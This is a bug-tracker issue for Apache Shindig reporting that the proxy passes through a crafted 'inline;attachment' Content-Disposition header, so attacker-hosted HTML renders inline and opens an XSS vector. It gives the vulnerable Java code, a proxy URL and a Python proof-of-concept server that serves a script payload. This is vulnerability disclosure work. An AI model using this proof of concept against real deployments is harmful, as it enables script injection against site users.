Uploaded image for project: 'Shindig'
  1. Shindig
  2. SHINDIG-1977

Content-Disposition overrides leads to XSS vector

    XMLWordPrintableJSON

Details

    • Bug
    • Status: Open
    • Critical
    • Resolution: Unresolved
    • 2.5.2
    • None
    • Java

    Description

      While I was trying to figure why swf files are render as is instead of force download I found this code in the last repo

      org.apache.shindig.gadgets.servlet.ProxyHandler#setResponseContentHeaders

      if (StringUtils.isBlank(contentDispositionValue)
                    || contentDispositionValue.indexOf("attachment;") == -1
                    || contentDispositionValue.indexOf("filename") == -1) \{
              response.setHeader("Content-Disposition", "attachment;filename=p.txt");
            } else \{
              response.setHeader("Content-Disposition", contentDispositionValue);
            }
      

      Is possible to break the Content-Disposition header if we set it to something like this: "Content-Disposition: inline;attachment;filename=a.html"

      If an attacker creates a server and then redirect user to the shindig proxy in the target server, is possible to render the html as is instead of a safe download.

      http://localhost:8080/gadgets/proxy?container=default&refresh=3600&url=http://127.0.0.1:8081/evil.html

      I had only check this in the dev version, not sure if it out in the wild.

      Acceptance Test:

      1. Run the shinding server (per. http://shindig.apache.org/documentation_building_java.html): mvn -Prun
      2. Run a server that add the "Content-Disposition: inline;attachment;filename=a.html" in the response headers (PoC at the end)
      3. Browse to http://localhost:8080/gadgets/proxy?container=default&refresh=3600&url=http://127.0.0.1:8081/evil.html

      Verify that html or any other file are force to download

      ##########################################################

      server code python

      #!/usr/bin/python
      import BaseHTTPServer, SimpleHTTPServer
      from urlparse import urlparse, parse_qs
      
      class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
          def do_GET(self):
              print(self.headers)
              self.send_response(200)
              self.send_header("Content-Type", "text/html")
              self.send_header("Content-Disposition", "inline;attachment;filename=a.html")
              self.end_headers()
              self.wfile.write("<!DOCTYPE html><html>  <head>    <title>This is a title</title>  <script>alert(document.location)</script></head>  <body>    <p>Hello world!</p>  </body></html>")
      try:
              httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 8081), MyHandler)
              httpd.serve_forever()
      except KeyboardInterrupt:
          print('^C received, shutting down server')
          httpd.socket.close()
      
      

      Attachments

        1. shindig_poc_01.PNG
          80 kB
          federico lanusse
        2. shindig_POC_server.py
          0.9 kB
          federico lanusse
        3. shindig_poc.PNG
          105 kB
          federico lanusse

        Activity

          People

            Unassigned Unassigned
            fdlanusse federico lanusse
            Votes:
            0 Vote for this issue
            Watchers:
            1 Start watching this issue

            Dates

              Created:
              Updated: